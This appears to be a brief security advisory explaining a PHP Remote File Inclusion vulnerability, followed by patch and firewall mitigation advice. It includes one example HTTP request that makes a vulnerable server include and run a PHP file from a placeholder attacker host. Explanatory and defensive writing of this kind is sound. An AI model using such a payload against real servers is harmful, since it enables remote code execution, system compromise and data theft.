How the Exploit Works
The PHP Remote File Inclusion vulnerability stems from improper control of the filename for Include/Require statement in PHP programs. In essence, the vulnerability allows an attacker to include a remote file from a server of their choosing. This remote file can contain malicious PHP code, which when executed, can lead to serious consequences such as system compromise or data leakage.
Conceptual Example Code
Given below is a conceptual example of how this vulnerability might be exploited. This example assumes the attacker has crafted a malicious PHP file, hosted on a remote server, which is designed to exploit the system upon execution.
GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comIn this example, the attacker is using the `GET` method to request the `index.php` file from the target server. The `file` parameter value is a URL pointing to the attacker’s malicious PHP file. If the server is vulnerable, it will include and execute the malicious file leading to a potential system compromise or data leakage.
Mitigation
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and prevent attempts to exploit this vulnerability, provided they are properly configured to do so.
